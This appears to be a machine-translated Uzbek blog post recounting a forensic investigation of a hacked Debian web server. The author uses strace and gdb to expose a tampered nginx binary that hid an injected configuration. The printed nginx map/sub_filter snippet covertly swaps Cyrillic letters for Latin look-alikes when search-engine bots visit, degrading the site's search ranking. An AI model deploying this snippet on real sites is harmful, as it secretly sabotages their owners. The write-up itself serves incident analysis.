ProHoster > Blog > Ma’muriyatchilik > Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Men bilgan odam bilan eng yoqimsiz voqea sodir bo'ldi. Ammo bu Mixail uchun qanchalik yoqimsiz bo'lsa, men uchun ham xuddi shunday maftunkor edi.

Aytishim kerakki, mening do'stim juda yaxshi UNIX- foydalanuvchi: tizimni o'zi o'rnatishi mumkin mysql, php va eng oddiy sozlamalarni o'rnating nginx.
Va uning qurilish asboblariga bag'ishlangan o'nlab veb-saytlari bor.

Zanjirli arralarga bag'ishlangan bunday veb-saytlardan biri qidiruv tizimining reytingida yuqori o'rinlarda turadi. Bu sayt notijorat ko'rib chiqish sayti, lekin kimdir undan to'ygan va unga hujum qilishni boshlagan. DDoS, keyin qo'pol kuch, keyin ular odobsiz izohlar yozadilar va hosting va RKNga suiiste'mollarni yuborishadi.
To'satdan hamma narsa jim bo'lib ketdi va bu sukunat yaxshi narsa emas edi va sayt asta-sekin qidiruv natijalarining yuqori qatorlarini tark eta boshladi.

Qachonki "a" "a" emas. Bir hackning izidan

Bu gap edi, keyin adminning o'zi.

Uyqu vaqtiga yaqin qolgandi, telefonim jiringladi: "Sanya, serverimni tekshirib ko'ra olasizmi? Meni xakerlik hujumiga uchragan deb o'ylayman. Men buni isbotlay olmayman, lekin buni uch haftadan beri his qilyapman. Balki mening paranoyamni davolash vaqti kelgandir?"

Yarim soat davom etgan munozarani quyidagicha umumlashtirish mumkin:

  • xakerlik uchun zamin juda unumdor edi;
  • xaker superfoydalanuvchi huquqlarini qo'lga kiritishi mumkin;
  • hujum (agar u sodir bo'lgan bo'lsa) maqsadli va ayniqsa, ushbu saytda edi;
  • muammoli joylar tuzatildi va faqat kirish fakti mavjudligini tushunish kerak;
  • Buzg'unchilik sayt kodi va ma'lumotlar bazalariga ta'sir qila olmadi.

Oxirgi nuqtaga kelsak.

Qachonki "a" "a" emas. Bir hackning izidan

Faqat frontendning umumiy IP manzili dunyoga ochiq. Http(lar)dan tashqari backend va frontend o'rtasida aloqa yo'q, foydalanuvchilar va parollar boshqacha va kalitlar almashtirilmaydi. Shaxsiy manzillarda 80/443 dan tashqari barcha portlar yopiq. Backendning umumiy IP-larini faqat Mixail to'liq ishonadigan ikkita foydalanuvchi biladi.

Old qismga o'rnatilgan Debian 9 va qo'ng'iroq qilingan vaqtga kelib, tizim tashqi xavfsizlik devori tomonidan dunyodan ajratiladi va to'xtatiladi.

"Yaxshi, menga ruxsat bering", men uyquni bir soatga kechiktirishga qaror qildim. — O‘z ko‘zim bilan ko‘raman.

Bu yerdan boshlab:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mumkin bo'lgan buzg'unchilikni qidirishda

Men serverni birinchi bo'lib ishga tushiraman qutqarish rejimiMen disklarni o'rnataman va ularni aylantiraman. autent-jurnallar, tarix, tizim jurnallari va h.k., iloji bo'lsa, men fayl yaratilish sanalarini tekshiraman, garchi men oddiy xaker hamma narsani "supurib tashlaganini" tushunaman va Misha uni o'zi qidirayotganda allaqachon juda ko'p "poyabzal" qilgan.

Men oddiy rejimda boshlayapman, hali nimani qidirishni bilmayman, shuning uchun konfiguratsiyalarni o'rganyapman. Mening asosiy qiziqishim nginx chunki, umuman olganda, frontendda undan tashqari boshqa hech narsa yo'q.
Konfiguratsiyalar kichik, o'nlab fayllarga yaxshi tuzilgan, men ularni ko'rib chiqaman mushuko'z navbatida. Hamma narsa toza ko'rinadi, lekin men nimanidir sog'indim. o'z ichiga oladi, Men toʻliq roʻyxat tuzaman:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Men tushunmadim: "Ro'yxat qayerda?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ro'yxat haqidagi savol ikkinchisi bilan to'ldiriladi: "Nega nginx versiyasi juda qadimiy?"

Bundan tashqari, tizim o'rnatilgan versiyani yangiroq deb hisoblaydi:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Men qo'ng'iroq qilyapman:
- Mish, nega qayta yig'ilding? nginx?
- O'zingga kel, buni qanday qilishni ham bilmayman!
- Mayli, uxlang...

nginx U, albatta, qayta qurilgan va "-T" ro'yxatining chiqishi biron bir sababga ko'ra yashiringan. Buzg'unchilik haqida endi hech qanday shubha yo'q, shuning uchun biz uni shunchaki qabul qilishimiz mumkin va (Misha baribir serverni yangisiga almashtirganligi sababli) muammoni hal qilingan deb hisoblaymiz.

Va haqiqatan ham, kimdir huquqlarni olganidan keyin ildiz'Oh, unda buni qilish mantiqiy tizimni qayta o'rnatish, va u erda qanday fitna sodir bo'lganini qidirish befoyda edi, lekin bu safar qiziqish uyquni yengdi. Ular bizdan nimani yashirmoqchi bo'lganini qanday bilib olamiz?

Keling, kuzatishga harakat qilaylik:

$ strace nginx -T

Biz izga qarayapmiz, kabi aniq etishmayotgan chiziqlar bor

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Qiziqish uchun keling, topilmalarni taqqoslaylik

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Menimcha, bu kodning bir qismi /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

shaklga keltirildi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

yoki

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

shuning uchun "-T" ro'yxati ko'rsatilmaydi.

Lekin konfiguratsiyamizni qanday ko'rishimiz mumkin?

Agar mening fikrim to'g'ri bo'lsa va muammo faqat o'zgaruvchida bo'lsa ngx_dump_config yordamida o'rnatishga harakat qilaylik gdb, Xudoga shukur, kalit bor -cc-opt bilan -g mavjud va biz optimallashtirishga umid qilamiz -O2 Bu bizga zarar keltirmaydi. Biroq, qanday qilib bilmayman ngx_dump_config ichida qayta ishlanishi mumkin edi 'T' holi:, biz bu blokni chaqirmaymiz, lekin uni foydalanib o'rnatamiz "t" holati:

Nima uchun "-t" va "-T" dan foydalanishim mumkin?Blokni qayta ishlash agar(ngx_dump_config) ichida sodir bo'ladi agar(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Albatta, agar kod bu qismda emas, balki o'zgartirilsa 'T' holi:, keyin mening usulim ishlamaydi.

nginx.conf ni sinab ko'ringMuammoni tajriba orqali hal qilgandan so'ng, zararli dastur ishlashi uchun minimal konfiguratsiya zarurligi aniqlandi nginx turi:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Qisqalik uchun biz uni maqolada ishlatamiz.

Keling, tuzatuvchini ishga tushiramiz

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Bosqichma-bosqich:

  • funksiyada to'xtash nuqtasini o'rnating asosiy ()
  • dasturni ishga tushiramiz
  • Konfiguratsiya chiqishini aniqlaydigan o'zgaruvchining qiymatini o'zgartiramiz ngx_dump_config=1
  • dasturni davom ettirish/tugatish

Ko'rib turganimizdek, haqiqiy konfiguratsiya biznikidan farq qiladi. Undan parazit bo'lakni ajratib olaylik:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Keling, bu erda nima sodir bo'layotganini tartibda ko'rib chiqaylik.

Aniqlanmoqda Foydalanuvchi agentiyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Xizmat sahifalari bundan mustasno wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Va yuqoridagi shartlarning ikkalasiga ham tegishli bo'lganlar uchun

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

matnda html-sahifalar o'zgarmoqda 'O' haqida 'o' и 'A' haqida "a":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

To'g'ri, yagona noziklik shu 'a' != 'a' xuddi shunday 'o' != 'o':

Qachonki "a" "a" emas. Bir hackning izidan

Shunday qilib, qidiruv tizimining botlari oddiy 100% kirill yozuvi o'rniga lotin harflari bilan suyultirilgan o'zgartirilgan axlatni oladi. "a" и 'o'Bu SEO-ga qanday ta'sir qilishini taxmin qila olmayman, lekin bunday harflar chalkashligi qidiruv natijalariga ijobiy ta'sir ko'rsatishi dargumon.

Nima deyishim mumkin, tasavvurga ega yigitlar.

Manbalar

GDB bilan disk raskadrovka
gdb(1) — Linux odam sahifasi
chiziq(1) — Linux odam sahifasi
Nginx - ngx_http_sub_module moduli
Arra, zanjir va elektr arra haqida

Manba: www.habr.com

DDoS himoyasi, VPS VDS serverlari bo'lgan saytlar uchun ishonchli hosting sotib oling 🔥 DDoS himoyasi, VPS VDS serverlari bilan ishonchli veb-sayt xostingini sotib oling | ProHoster